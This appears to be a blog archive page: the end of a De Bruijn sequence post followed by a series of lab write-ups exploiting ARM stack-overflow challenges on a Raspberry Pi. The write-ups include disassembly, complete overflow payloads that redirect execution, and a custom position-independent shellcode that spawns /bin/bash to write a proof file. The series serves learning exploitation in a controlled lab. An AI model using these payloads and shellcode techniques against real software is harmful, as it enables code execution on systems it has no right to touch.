    ..........1011..
    ...........0111.
    ............1111
    0............111  =  1110
    00............11  =  1100
    000............1  =  1000

A De Bruijn sequence is the smallest sequence that has this property but it is not unique.

The count of distinct De Bruijn sequences for an alphabet of $k$ elements and an order of $n$ is

$$ \frac{(k!)^{k^{n-1}}}{k^n}$$

De Bruijn graphs

Given an alphabet of $k$ symbols and the strings of $n$ symbols we can build $k^n$ different strings.

Consider these strings now nodes of a directed graph.

In this graph the node $u$ connects to $v$ if we drop the left most symbol of $u$ and append on the right one symbol and the result is $v$.

In Python terms: u[1:] + sym == v.

The resulting edge is labeled with the appended symbol.

For instance, for the given binary strings 00 and 01 we have:

In general for the alphabet ${0,1}$ and the strings of length $n=2$ we have:

These are the De Bruijn graphs.

A Hamiltonian path over the graph generates a De Bruijn sequence of order $n$.

That’s it, visit all the nodes of the graph without visiting a node twice and collect the labels of the traversed edges.

This forms the De Bruijn sequence of order $n$ for the given $k$.

If instead of a Hamiltonian path we build an Euclidean path, the path generates a De Bruijn sequence of order $n+1$.

That’s it, visit all the edges of the graph without traveling for the same edge twice and collect the labels along the path.

This forms the De Bruijn sequence of order $n+1$ for the given $k$.

De Bruijn sequence construction

As mentioned before we can build a De Bruijn graph and then through a Hamiltonian or Euclidean path we can build a De Bruijn sequence.

But we can skip that and create the sequence directly with the FMK algorithm.

FMK comes from the name of its authors: Fredricksen, Maiorana and Kessler.

A recursive version of the algorithm is shown by Frank Ruskey in his “Combinatorial Generation”.

The algorithm can generate necklaces, Lyndon words, pre-necklaces and De Bruijn sequences. Four in one.

A Python implementation can be found here.

Applications

Unlook a door

Imagine that you have a register of $n$ bits that if it is set to the correct value unlocks a door.

You have $2^n$ possible combinations.

Typing $n$ bits $2^n$ times is is going to take a while but imagine that the register allows you to reuse some of those bits.

On a new input the register shifts its content one bit to the left and the new bit is put on the right.

Does this ring any bells?

You can use a De Bruijn sequence of order $n$ and reading it bit by bit you can feed the register.

You will end up testing $2^n$ combinations but you will have to type only 1 bit per test.

Power of 2 mapping

You want to map a value to each power of 2. You could use an dictionary for this like {2**i : vals[i] for i in range(32)}.

A dictionary or a sparse array is needed because you cannot use a dense array for this.

Or can we?

If we are limiting ourselves to power of two up to $2^{32}$, we only have 32 numbers.

We can then generate a De Bruijn sequence of order $n$ where $n=5$ (because $2^5=32$).

This sequence will contain $2^5=32$ different substrings.

Now, remember that multiplying a number by $2^i$ is the same than shifting the number by $i$.

If we read the $n$ most significant bits of the shifted sequence we will have a substring that is unique for the given shift $i$ and therefore for $2^i$.

The $n$ most significant bits forms the index of our dense array.

With $n=5$ we only need an array of $32$ elements.

DNA reading

And yes, this is used in DNA reading too.

Smashing ARM Stack for Fun - Part VII

2021-02-04T00:00:00+00:00

It’s time to solve the last challenge of this 7 parts serie.

The vuln

This time the overflow is not in main but in called function named getpath but besides that, it is the classical unbounded gets vulnerability.

pwndbg> pdisass &main 10
 ► 0x10560 <main>                 push   {fp, lr}
   0x10564 <main+4>               add    fp, sp, #4
   0x10568 <main+8>               sub    sp, sp, #8
   0x1056c <main+12>              str    r0, [fp, #-8]
   0x10570 <main+16>              str    r1, [fp, #-0xc]
   0x10574 <main+20>              bl     #getpath <getpath>

   0x10578 <main+24>              mov    r0, r3
   0x1057c <main+28>              sub    sp, fp, #4
   0x10580 <main+32>              pop    {fp, pc}

⊕ pwndbg> p (char*)(*(0x104e8 + 0x60 + 0x8)) $7 = 0x105f8 "input path please: " pwndbg> p (char*)(*(0x10524 + 0x2c + 0x8)) $8 = 0x1060c "bzzzt (%p)\n" pwndbg> p (char*)(*(0x1053c + 0x18 + 0x8)) $9 = 0x10618 "got path %s\n"

Here is the getpath function. I added some notes in addition to the disassembly:

pwndbg> pdisass &getpath 15
 ► 0x104d8 <getpath>        push   {r4, fp, lr}
   0x104dc <getpath+4>      add    fp, sp, #8
   0x104e0 <getpath+8>      sub    sp, sp, #0x4c
   0x104e4 <getpath+12>     mov    r4, lr
   0x104e8 <getpath+16>     ldr    r0, [pc, #0x60]
   0x104ec <getpath+20>     bl     #printf@plt <printf@plt> ; "input path please: "

   0x104f0 <getpath+24>     ldr    r3, [pc, #0x5c]
   0x104f4 <getpath+28>     ldr    r3, [r3]
   0x104f8 <getpath+32>     mov    r0, r3
   0x104fc <getpath+36>     bl     #fflush@plt <fflush@plt>

   0x10500 <getpath+40>     sub    r3, fp, #0x50
   0x10504 <getpath+44>     mov    r0, r3
   0x10508 <getpath+48>     bl     #gets@plt <gets@plt>

   0x1050c <getpath+52>     mov    r3, r4
   0x10510 <getpath+56>     str    r3, [fp, #-0x10]
   0x10514 <getpath+60>     ldr    r3, [fp, #-0x10]
   0x10518 <getpath+64>     and    r3, r3, #0xbf000000  ; bin 1011 1111 0...
   0x1051c <getpath+68>     cmp    r3, #0xbf000000
   0x10520 <getpath+72>     bne    #getpath+96 <getpath+96>

   0x10524 <getpath+76>     ldr    r0, [pc, #0x2c]
   0x10528 <getpath+80>     ldr    r1, [fp, #-0x10]
   0x1052c <getpath+84>     bl     #printf@plt <printf@plt> ; "bzzzt (%p)\n"

   0x10530 <getpath+88>     mov    r0, #1
   0x10534 <getpath+92>     bl     #_exit@plt <_exit@plt>

   0x10538 <getpath+96>     sub    r3, fp, #0x50
   0x1053c <getpath+100>    ldr    r0, [pc, #0x18]
   0x10540 <getpath+104>    mov    r1, r3
   0x10544 <getpath+108>    bl     #printf@plt <printf@plt> ; "got path %s\n"

   0x10548 <getpath+112>    sub    sp, fp, #8
   0x1054c <getpath+116>    pop    {r4, fp, pc}

Writing 0x50 bytes we overwrite the stack just before writing the ret address: 0x4 more bytes and we are done.

 ► 0x104d8 <getpath>        push   {r4, fp, lr}
   0x104dc <getpath+4>      add    fp, sp, #8
   ...
   0x10500 <getpath+40>     sub    r3, fp, #0x50
   0x10504 <getpath+44>     mov    r0, r3
   0x10508 <getpath+48>     bl     #gets@plt <gets@plt>

The stack pointer sp after getpath returns will be at 4 bytes more than fp before the return:

(gdb) x/1wx $fp   ; before getpath returns
0xbefffb84:     0x00010578 ; <-- ret address (to main)

(gdb) bt
#0  0x000104e8 in getpath ()
#1  0x00010578 in main ()

The attack (without DEP and ASLR)

The egg.text is the same one used in the part 6.

pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x88\xfb\xff\xbe' > exploit
pi@raspberrypi:~$ cat egg.text >> exploit

pi@raspberrypi:~$ rm -f pwned_proof

pi@raspberrypi:~$ setarch linux32 --addr-no-randomize /bin/bash

(aslr disabled) pi@raspberrypi:~$ cat exploit | ./stack6
(aslr disabled) pi@raspberrypi:~$ echo $?
0

(aslr disabled) pi@raspberrypi:~$ cat pwned_proof
pwn!

Future work

This is the last part of the ARM challenges from Azeria Labs.

However there are a lot of things to explore, tweak and stretch.

In the part 6 I coded a ARM egg, the next obvious step would be write the same egg in Thumb mode.

So far, the egg was always loaded in the stack and executed there. In these modern days, the stack is not executable so it would be cool to learn how to bypass this restriction (known as Data Execution Prevention DEP or Write-xor-Execute W+E).

Since part 5 we were hardcoding addresses. Shame on me.

Address Space Layout Randomization (ASLR) is a well established feature of modern OS to randomize the base address of the loaded libraries. Bypassing techniques exist since at least 2007 so it is a definitely topic to learn.

Smashing ARM Stack for Fun - Part VI

2021-01-26T00:00:00+00:00

We have the same vulnerability than we have in stack4 but this time we will make our own egg/shellcode.

Same vuln

pwndbg> pdisass &main
 ► 0x1041c <main>       push   {fp, lr}
   0x10420 <main+4>     add    fp, sp, #4
   0x10424 <main+8>     sub    sp, sp, #0x48
   0x10428 <main+12>    str    r0, [fp, #-0x48]
   0x1042c <main+16>    str    r1, [fp, #-0x4c]
   0x10430 <main+20>    sub    r3, fp, #0x44
   0x10434 <main+24>    mov    r0, r3
   0x10438 <main+28>    bl     #gets@plt <gets@plt>

   0x1043c <main+32>    mov    r0, r3
   0x10440 <main+36>    sub    sp, fp, #4
   0x10444 <main+40>    pop    {fp, pc}

The plan is to overflow the buffer with 0x44 bytes of padding, then 4 bytes with the first return address.

Nothing new. But the fun is just about to begin…

Planning the egg/exploit

We want something standard but slightly fancy:

spawn a shell an run an arbitrary command
wait for the spawned process to finish
exit the program

This translates to the following C code:

#include <unistd.h>
void main() {
    pid_t child = fork();
    if (child == 0) {
        // child
        const char *argv[] = { "/bin/bash", "-c", "echo 'pwn!' > pwned_proof", NULL };
        const char *envp[] = { NULL };
        execve(argv[0], argv, envp);
    }
    else if (child != -1) {
        // parent
        wait4(child, NULL, 0, NULL);
    }
    // catch all exit
    exit_group(0);
}

The last exit_group is a catch all: if fork fails or execve fails we want to have a deterministic output. The same for the parent process after wait4.

Syscalls

⊕ References: w3challs and Linux kernel

This is a summary of the syscalls’ numbers and arguments:

            r7      r0      r1      r2      r3
syscall     num     arg1    arg2    arg3    argv4
fork        0x02
execve      0x0b    "/bi.." argv    envp
wait4       0x72    pid     NULL    0       NULL
exit_group  0xf8    num

argv and envp, are arrays of pointers with a pointer to NULL marking the end of the array.

In Linux it is possible to pass a NULL instead an array with a single pointer to NULL. This could be used for envp.

However:

On Linux, argv and envp can be specified as NULL. In both cases, this has the same effect as specifying the argument as a pointer to a list containing a single null pointer. Do not take advantage of this nonstandard and nonportable misfeature! On many other UNIX systems, specifying argv as NULL will result in an error (EFAULT). Some other UNIX systems treat the envp==NULL case the same as Linux. man execve(2)

No problem! We can design a single array in the stack to fulfill both:

In assembly this translates to:

    mov r3, #0              @; &argv[3]
    add r2, pc, Largv2-.-8
    add r1, pc, Largv1-.-8
    add r0, pc, Largv0-.-8  @; &argv[0]
    push {r0-r3}

But why add and not mov?

Position independent code

The exploit will be loaded in a piece of executable memory but we cannot know a priori where.

Therefore, branches and addresses must be relative to the program counter.

We cannot just say mov r2, label as we will hardcoding the address of label; we need to use add and pc.

00000020 <Lchild>:
  20:   e3a03000        mov     r3, #0
  24:   e28f204c        add     r2, pc, #76     ; 0x4c  argv2
  28:   e28f1044        add     r1, pc, #68     ; 0x44  argv1
  2c:   e28f0034        add     r0, pc, #52     ; 0x34  argv0
  30:   e92d000f        push    {r0, r1, r2, r3}
  34:   e28d1000        add     r1, sp, #0
  38:   e28d200c        add     r2, sp, #12
  3c:   e3a0700b        mov     r7, #11
  40:   ef000000        svc     0x00000000
        ....            ....

00000068 <Largv0>:
        ....            ....
00000074 <Largv1>:
        ....            ....
00000078 <Largv2>:

The add instructions like add r2, pc, #76 makes the address relative to the program counter.

To calculate the offset to a label like Largv0 we need to subtract the address of the label minus the current position minus 8 bytes (because pc already has an implicit +0x8)

    0x78 - 0x24 - 0x8 = 0x4c = 76

Thankfully the assembler can do the calculus by us:

    add r2, pc, Largv2-.-8

And the branches?

bne Lparent_or_error is a PC-relative encoded jump: the program will jump to that absolute address but the instruction is encoded as an offset from the current pc.

In other words, we are not hardcoding a fixed address so our code will work regardless of where is going to be loaded.

00000000 <egg>:
   0:   e3a07002        mov     r7, #2
   4:   ef000000        svc     0x00000000
   8:   e3500000        cmp     r0, #0
   c:   1a000000        bne     14 <Lparent_or_error>
  10:   ea000002        b       20 <Lchild>
        ....            ....
00000020 <Lchild>:
  20:   e3a03000        mov     r3, #0

The address is computed as:

    pc + offset * 4 + 8

The branch at 0x10 has the offset 0x02 encoded in the instruction 0xea000002. Knowing that the offset is multiplied by 4 (because the addresses are aligned to 4 bytes; 2 in Thumb mode), and knowing that using pc adds a 0x8 to the count (0x4 in Thumb mode), the final address is:

    0x10 + 0x2 * 4 + 0x8 = 0x20

Why did I use bne instead of beq ? Wouldn’t that be more direct?

Forbidden bytes

The vulnerable program will read our exploit using gets.

From the man pages, gets reads from stdin until it finds a termination character or it is the end of the stream.

In Linux, the new line (\n 0x0a) is the termination character so our payload cannot have this byte or gets will stop in the middle of the copy.

For example the simple snippet is forbidden:

    cmp r0, #0
    beq Lchild
    @; code for parent or error follows

⊕ Bypassing the filters can be incredible complex. Here is article about Alphanumeric RISC ARM Shellcode.

beq has a 0x0a as the first byte so we have to rewrite the snippet to:

    cmp r0, #0
    bne Lparent_or_error
    b Lchild

Compilation

We compile the assembly into an object file with gcc (in a Raspbian) and then we extract the .text section:

pi@raspberrypi:~$ gcc -c -o egg.o egg.s
pi@raspberrypi:~$ objcopy -O binary --only-section=.text egg.o egg.text

The assembly can be found here.

Testing

It is always a good idea to test the shellcode separately from the exploitation.

For this we can create a small C program to load the egg from a file into a buffer with permission for execution and then jump into it:

    char *buf;

    posix_memalign(&buf, ALIGN, fsize);
    fread(buf, 1, fsize, f);
    mprotect(buf, fsize, PROT_READ|PROT_WRITE|PROT_EXEC);

    ((void(*)())buf)();

This is an example:

pi@raspberrypi:~$ ./test-egg egg.text
Egg loaded at 0x24000-0x2409

⊕ The good and bad labels were put by me. Sorry, strace is not so smart.

If the things don’t result as expected, strace can be useful to inspect what syscalls are being called and with which parameters:

pi@raspberrypi:~$ strace -i ./test-egg egg.text
....
strace: Process 4959 attached <--- child process
execve("/bin/bash", [0x6e69622f, ..., 0x666f], 0x2407f) = -1 EFAULT (Bad address)
           ^            ^
         good          bad

Search a home

Fortunately the stack is executable:

pwndbg> vmmap
   0x10000    0x11000 r-xp     1000 0      /home/pi/stack5
   0x20000    0x21000 rwxp     1000 0      /home/pi/stack5
0xb6fcc000 0xb6fec000 r-xp    20000 0      /usr/lib/arm-linux-gnueabihf/ld-2.28.so
0xb6ffc000 0xb6ffe000 rwxp     2000 20000  /usr/lib/arm-linux-gnueabihf/ld-2.28.so
0xb6fff000 0xb7000000 r-xp     1000 0      [sigpage]
0xbefdf000 0xbf000000 rwxp    21000 0      [stack]
0xffff0000 0xffff1000 r-xp     1000 0      [vectors]

We can write the egg in the stack and then jump to it. The content of the stack should be:

addr1 is sp. But what value is?

If we disable ASLR we can peek the value with a debugger: 0xbefffbb8

The attack

pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb8\xfb\xff\xbe' > exploit
pi@raspberrypi:~$ cat egg.text >> exploit

pi@raspberrypi:~$ rm -f pwned_proof

pi@raspberrypi:~$ setarch linux32 --addr-no-randomize /bin/bash

(aslr disabled) pi@raspberrypi:~$ cat exploit | ./stack5
(aslr disabled) pi@raspberrypi:~$ echo $?
0

(aslr disabled) pi@raspberrypi:~$ cat pwned_proof
pwn!

The assembly of the egg can be found here.

Readings

Smashing ARM Stack for Fun - Part V

2021-01-20T00:00:00+00:00

Fifth challenge with a small introduction to process continuation.

Planning the exploit

pwndbg> pdisass &main
 ► 0x10464 <main>       push   {fp, lr}
   0x10468 <main+4>     add    fp, sp, #4
   0x1046c <main+8>     sub    sp, sp, #0x48
   0x10470 <main+12>    str    r0, [fp, #-0x48]
   0x10474 <main+16>    str    r1, [fp, #-0x4c]
   0x10478 <main+20>    sub    r3, fp, #0x44
   0x1047c <main+24>    mov    r0, r3
   0x10480 <main+28>    bl     #gets@plt <gets@plt>

   0x10484 <main+32>    mov    r0, r3
   0x10488 <main+36>    sub    sp, fp, #4
   0x1048c <main+40>    pop    {fp, pc}

sub r3, fp, #0x44 means that the buffer begins 0x44 bytes from fp, the begin of the stack frame.

As we saw previously, the stack frame includes the previous value of fp but not lr that it is immediately below.

So a buffer overflow of 0x44 bytes will overwrite the stored fp and an overflow of 0x48 will overwrite fp and lr.

If we do the latter, the function main will jump to our own code on return.

⊕ The left diagram shows the stack from lower addresses (left) to higher addresses (right) and the main’s and __libc_start_main’s stack frames (main and start for short)

    main --------------v------ start
.......   fp      lr   |  ??   ??   ??   ??

As you can see the fp and lr are stored in the stack as well as an unknown local variables of __libc_start_main.

When the overflow occurs this is the result:

    main ---------------v----- start
.......   fp      lr    | ??   ??   ??   ??         (pre-exploit)
    main ---------------v----- start
AAAAAAA   BB      addr1 | ??   ??   ??   ??         (overflow)

No more crazy stuff is needed here, we can jump to win (addr1 == 0x1044c) directly.

Exploit level 1

pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x4c\x04\x01\x00' | ./stack4
code flow successfully changed
Segmentation fault

Yeah! but that segfault looks sloppy.

A more polite exploit

Once win executes it will pop from the stack the stored lr and set it into pc.

We didn’t call win with bl or similar so the lr was never set correctly and the value pushed in the stack by win was garbage.

When win returns will jump to who-knows-where.

    main ---------------v----- start
.......   fp      lr    | ??   ??   ??   ??         (pre-exploit)
    win ----------------v----- start
          BB      ??    | ??   ??   ??   ??         (win called)
                  ^
                  ret address of win

And if we don’t jump to win exactly?

We could jump to the second instruction of win: we will be skipping the push.

pwndbg> pdisass &win
   0x1044c <win>        push   {fp, lr}
 ► 0x10450 <win+4>      add    fp, sp, #4
   0x10454 <win+8>      ldr    r0, [pc, #4]
   0x10458 <win+12>     bl     #puts@plt <puts@plt>

   0x1045c <win+16>     pop    {fp, pc}

In this way we can emulate the push of fp and lr adding 8 bytes to our payload.

    main ---------------v--------- start
.......   fp      lr    | ??    ??      ??   ??      (pre-exploit)
    main ---------------v--------- start
AAAAAAA   BB      addr1 | CC    addr2   ??   ??      (overflow extended)
                        v--------- start
          ??      ??    | CC    addr2 | ??   ??      (win called without push)
        ------ win -------------------^

So now we control where win will return: addr2.

Planning a controlled exit

An ideal situation would make the program continue running after exploiting it, known as process continuation shellcode but it is too complex for now.

The simplest thing is to call _exit a thin glib wrapper of exit_group syscall that exits the process and its threads.

pwndbg> pdisass &_exit
 ► 0xb6f1b934 <_exit>       push   {r7, lr}
   0xb6f1b938 <_exit+4>     mov    r2, r0
   0xb6f1b93c <_exit+8>     mov    r7, #0xf8
   0xb6f1b940 <_exit+12>    svc    #0
   0xb6f1b944 <_exit+16>    cmn    r0, #0x1000
   0xb6f1b948 <_exit+20>    bhi    #_exit+68 <_exit+68>

The svc #0 is what it triggers the syscall. In Arm 32bits the instruction is swi but the disassembler renames it to the newer name: supervisor call.

The syscall number is passed to the kernel via r7 as mentioned in man syscall(2).

In our case 0xf8 is the syscall number of exit_group.

Exploit level 2

We are going to cheat a little and disable ASLR so we can hardcode the address of _exit (0xb6f1b934)

pi@raspberrypi:~$ setarch linux32 --addr-no-randomize /bin/bash
(aslr disabled) pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x04\x01\x00BBBB\x34\xb9\xf1\xb6' | ./stack4
code flow successfully changed

(aslr disabled) pi@raspberrypi:~$ echo $?
31

(aslr disabled) pi@raspberrypi:~$ exit
exit

As you can see the return code of the process was 31. I corroborated with a debugger the value of the registers before the syscall and r0 was 31 as expected.

Instead of jumping to _exit we could jump before to a piece of code –known as gadget– that sets r0 to zero and then jump to _exit.

But that’s for another post.

Smashing ARM Stack for Fun - Part IV

2021-01-19T00:00:00+00:00

This time the goal is to make the program print the message "code flow successfully changed".

A manual `xref`

Let’s see where this message is stored:

pwndbg> search "code flow successfully changed"
stack3          0x10560 0x65646f63 /* 'code flow successfully changed'*/
stack3          0x20560 0x65646f63 /* 'code flow successfully changed'*/

And from where the executable makes a reference to it? In other words, where in the code segment this address is stored?

pwndbg> search -4 --executable 0x10560
stack3          0x10490 0x10560
stack3          0x10c6c 0x10560
stack3          0x20490 0x10560

To summarize the message (and array of chars) is stored at 0x10560 and the address 0x10560 is stored in 0x10490, 0x10c6c and 0x20490.

These addresses are the char* that the program must load into a register to do a call to printf or puts.

Let’s assume that one of those addresses is loaded in a register using an instruction like this:

<???>     ldr   r?, [pc, #offset?]

It is a reasonable assumption: the rest of the challenges so far used this instruction.

We don’t know neither which register will be using nor the offset so we will have to guess.

Let’s see what we can find with objdump and grep:

pi@raspberrypi:~$ objdump -d stack3 | grep "ldr.*r[0-9], \[pc"
   10374:       e59f000c        ldr     r0, [pc, #12]   ; 10388 <_start+0x34>
   10378:       e59f300c        ldr     r3, [pc, #12]   ; 1038c <_start+0x38>
   10390:       e59f3014        ldr     r3, [pc, #20]   ; 103ac <call_weak_fn+0x1c>
   10394:       e59f2014        ldr     r2, [pc, #20]   ; 103b0 <call_weak_fn+0x20>
   103b4:       e59f301c        ldr     r3, [pc, #28]   ; 103d8 <deregister_tm_clones+0x24>
   103b8:       e59f001c        ldr     r0, [pc, #28]   ; 103dc <deregister_tm_clones+0x28>
   103c8:       e59f3010        ldr     r3, [pc, #16]   ; 103e0 <deregister_tm_clones+0x2c>
   103e4:       e59f1024        ldr     r1, [pc, #36]   ; 10410 <register_tm_clones+0x2c>
   103e8:       e59f0024        ldr     r0, [pc, #36]   ; 10414 <register_tm_clones+0x30>
   10400:       e59f3010        ldr     r3, [pc, #16]   ; 10418 <register_tm_clones+0x34>
   10420:       e59f4018        ldr     r4, [pc, #24]   ; 10440 <__do_global_dtors_aux+0x24>
   10448:       e59f0024        ldr     r0, [pc, #36]   ; 10474 <frame_dummy+0x30>
   10460:       e59f3010        ldr     r3, [pc, #16]   ; 10478 <frame_dummy+0x34>
   10484:       e59f0004        ldr     r0, [pc, #4]    ; 10490 <win+0x14>
   104c8:       e59f0018        ldr     r0, [pc, #24]   ; 104e8 <main+0x54>
   104f4:       e59f604c        ldr     r6, [pc, #76]   ; 10548 <__libc_csu_init+0x5c>
   104f8:       e59f504c        ldr     r5, [pc, #76]   ; 1054c <__libc_csu_init+0x60>

These two lines are interesting:

   10484:       e59f0004        ldr     r0, [pc, #4]    ; 10490 <win+0x14>
   104c8:       e59f0018        ldr     r0, [pc, #24]   ; 104e8 <main+0x54>

And the winner is 0x10484!

>>> 0x10484 + 0x4 + 0x8
0x10490

See how 0x10484 the address of the ldr instruction plus the offset 0x4 plus 0x8 bytes yields an address (0x10490) that we found before, a char*.

If we dereference it we will see the address of the message:

pwndbg> x/1wx 0x10490
0x10490 <win+20>:       0x00010560

pwndbg> x/1bs 0x00010560
0x10560:        "code flow successfully changed"

So, our target is:

pwndbg> pdisass 0x10484-8
 ► 0x1047c <win>        push   {fp, lr}
   0x10480 <win+4>      add    fp, sp, #4
   0x10484 <win+8>      ldr    r0, [pc, #4]
   0x10488 <win+12>     bl     #puts@plt <puts@plt>

   0x1048c <win+16>     pop    {fp, pc}

A comment

This is not the only way to do it.

I could search for a puts call that would be more likely to be the one that we are looking for:

pi@raspberrypi:~$ objdump -d stack3 | grep "puts"
00010324 <puts@plt>:
   10488:       ebffffa5        bl      10324 <puts@plt>

I could look which functions are available:

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x000102ec  _init
0x0001030c  printf@plt
0x00010318  gets@plt
0x00010324  puts@plt
<...>
0x0001047c  win
0x00010494  main
<...>

I could use IDA or Radare2 or similar and do a xref…

Or I could just read what is the goal from the challenge.

I preferred a longer path to explore more the commands of pwndbg and stress a little more my brain.

Otherwise it wouldn’t be fun :)

Let’s jump

This is the main function:

pwndbg> pdisass &main 9
 ► 0x10494 <main>       push   {fp, lr}
   0x10498 <main+4>     add    fp, sp, #4
   0x1049c <main+8>     sub    sp, sp, #0x50
   0x104a0 <main+12>    str    r0, [fp, #-0x50]
   0x104a4 <main+16>    str    r1, [fp, #-0x54]
   0x104a8 <main+20>    mov    r3, #0
   0x104ac <main+24>    str    r3, [fp, #-8]
   0x104b0 <main+28>    sub    r3, fp, #0x48
   0x104b4 <main+32>    mov    r0, r3
   0x104b8 <main+36>    bl     #gets@plt <gets@plt>

   0x104bc <main+40>    ldr    r3, [fp, #-8]
   0x104c0 <main+44>    cmp    r3, #0
   0x104c4 <main+48>    beq    #main+72 <main+72>

   0x104c8 <main+52>    ldr    r0, [pc, #0x18]
   0x104cc <main+56>    ldr    r1, [fp, #-8]
   0x104d0 <main+60>    bl     #printf@plt <printf@plt>

   0x104d4 <main+64>    ldr    r3, [fp, #-8]
   0x104d8 <main+68>    blx    r3

So instead of a cookie like in the stack0 or stack1 we have the address of a function.

⊕ blx r3 is an unconditional jump to an absolute address (docs).
That’s why it works.

The address is initialized to zero but due to a stack overflow we can write an arbitrary address, in particular, the address of win: 0x0001047c

pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7c\x04\x01\x00' | ./stack3
calling function pointer, jumping to 0x0001047c
code flow successfully changed

We could also jump to the middle of win, to 0x00010484, and we will have the same result. The only problem is that the program will execute the epilogue of win without having executed its prologue.

⊕ Does this ring some bells? This is the base of return oriented programming or ROP.

The result? pop {fp, pc} will restore pc to the next element in the stack which most likely will not be a valid address. Happy segfault!

pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\x04\x01\x00' | ./stack3
calling function pointer, jumping to 0x00010484
code flow successfully changed
Segmentation fault

Smashing ARM Stack for Fun - Part III

2021-01-18T00:00:00+00:00

Another fast moving post about exploiting the third Arm challenge

Setup

Stack allocation, not changes respect stack0 or stack1.

pwndbg> pdisass &main
 ► 0x104e4 <main>       push   {fp, lr}
   0x104e8 <main+4>     add    fp, sp, #4
   0x104ec <main+8>     sub    sp, sp, #0x50
   0x104f0 <main+12>    str    r0, [fp, #-0x50]
   0x104f4 <main+16>    str    r1, [fp, #-0x54]

Read of an environment variable named "GREENIE":

   0x104f8 <main+20>    ldr    r0, [pc, #0x6c]
   0x104fc <main+24>    bl     #getenv@plt <getenv@plt>

pwndbg> x/1wx 0x1056c
0x1056c <main+136>:     0x000105f4

pwndbg> x/1sb 0x000105f4
0x105f4:        "GREENIE"

The value is stored in the stack, loaded from it and then compared with 0. In other words the program checks if getenv returned NULL or not.

   0x10500 <main+28>    str    r0, [fp, #-8]
   0x10504 <main+32>    ldr    r3, [fp, #-8]
   0x10508 <main+36>    cmp    r3, #0
   0x1050c <main+40>    bne    #main+56 <main+56>

The vulnerability

Following the taken branch we find the vulnerable strcpy call that copies the content of the environment variable into a buffer in the stack.

 ► 0x1051c <main+56>    mov    r3, #0
   0x10520 <main+60>    str    r3, [fp, #-0xc]
   0x10524 <main+64>    sub    r3, fp, #0x4c
   0x10528 <main+68>    mov    r0, r3
   0x1052c <main+72>    ldr    r1, [fp, #-8]
   0x10530 <main+76>    bl     #strcpy@plt <strcpy@plt>

This is the memory layout of the stack before the call to strcpy:

100:20> ;! M[sp:]
[
        --
        |   \xee\xee\xee\xee   == char **argv
        |   \xdd\xdd\xdd\xdd   == int argc
buf ----|-->AAAA
  0x50  |   BBBB
        |   CCCC
        |   ... 13 more rows full of garbage ...
cookie----->\x00\x00\x00\x00   == explicit 0 set
ptr env-|-->\xcc\xcc\xcc\xcc   == char *env_var
        --
   0x8  |   \xbb\xbb\xbb\xbb   == fp
 fp ----|-->\xaa\xaa\xaa\xaa   == lr
        --
]

After the call the cookie is checked against 0x0d0a0d0a:

   0x10534 <main+80>    ldr    r3, [fp, #-0xc]
   0x10538 <main+84>    ldr    r2, [pc, #0x34]
   0x1053c <main+88>    cmp    r3, r2
   0x10540 <main+92>    bne    #main+108 <main+108>

pwndbg> x/1wx 0x10574
0x10574 <main+144>:     0x0d0a0d0a

Following the path if the branch is not taken:

pwndbg> pdisass &main+96
 ► 0x10544 <main+96>     ldr    r0, [pc, #0x2c]
   0x10548 <main+100>    bl     #puts@plt <puts@plt>

   0x1054c <main+104>    b      #main+124 <main+124>

pwndbg> x/1wx 0x10578
0x10578 <main+148>:     0x0001062c

pwndbg> x/1sb 0x0001062c
0x1062c:        "you have correctly modified the variable"

The solution

To win we need 0x40 bytes for padding and the cookie "\n\r\n\r".

pi@raspberrypi:~$ GREENIE="$(echo -en 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\r\n\r')" ./stack2
you have correctly modified the variable

Smashing ARM Stack for Fun - Part II

2021-01-17T00:00:00+00:00

This is going to be a fast moving post, directly to the details, about exploiting the second Arm challenge

Распределение стека

 ► 0x104b0 <main>       push   {fp, lr}
   0x104b4 <main+4>     add    fp, sp, #4
   0x104b8 <main+8>     sub    sp, sp, #0x50
   0x104bc <main+12>    str    r0, [fp, #-0x50]
   0x104c0 <main+16>    str    r1, [fp, #-0x54]

0x58 bytes are allocated where 0x54 bytes belong to the current stack frame.

The first two words are allocated by push and the rest by sub.

100:00> ;! M[sp:]   # <-- from sp to the end of the mapped page
[
        --
        |   \xee\xee\xee\xee   == r1
        |   \xdd\xdd\xdd\xdd   == r0
  0x50  |   \x00\x00\x00\x00
        |   ... 16 more rows full of zeros ...
cookie -|-->\x00\x00\x00\x00
        --
   0x8  |   \xbb\xbb\xbb\xbb   == fp
 fp ----|-->\xaa\xaa\xaa\xaa   == lr
        --
] <-- base of stack

Проверка аргументов

⊕ errx prints a message to the standard error output and then makes the program exit.
See man errx

argc is expected to be 1 otherwise the program will not jump and errx will be called.

   0x104c4 <main+20>    ldr    r3, [fp, #-0x50]
   0x104c8 <main+24>    cmp    r3, #1
   0x104cc <main+28>    bne    #main+44 <main+44>

   0x104d0 <main+32>    mov    r0, #1
   0x104d4 <main+36>    ldr    r1, [pc, #0x5c]
   0x104d8 <main+40>    bl     #errx@plt <errx@plt>

 ► 0x104dc <main+44>    mov    r3, #0

⊕ As mentioned in a previous post, when pc is used for indexing the pc is the address of the current about-to-be-executed instruction plus 8 bytes.

Let’s see ldr r1, [pc, #0x5c] that translates to 0x104d4 + 0x5c + 0x8:

pwndbg> x/1wx 0x10538
0x10538 <main+136>:     0x000105bc

pwndbg> x/1bs 0x000105bc
0x105bc:        "please specify an argument\n"

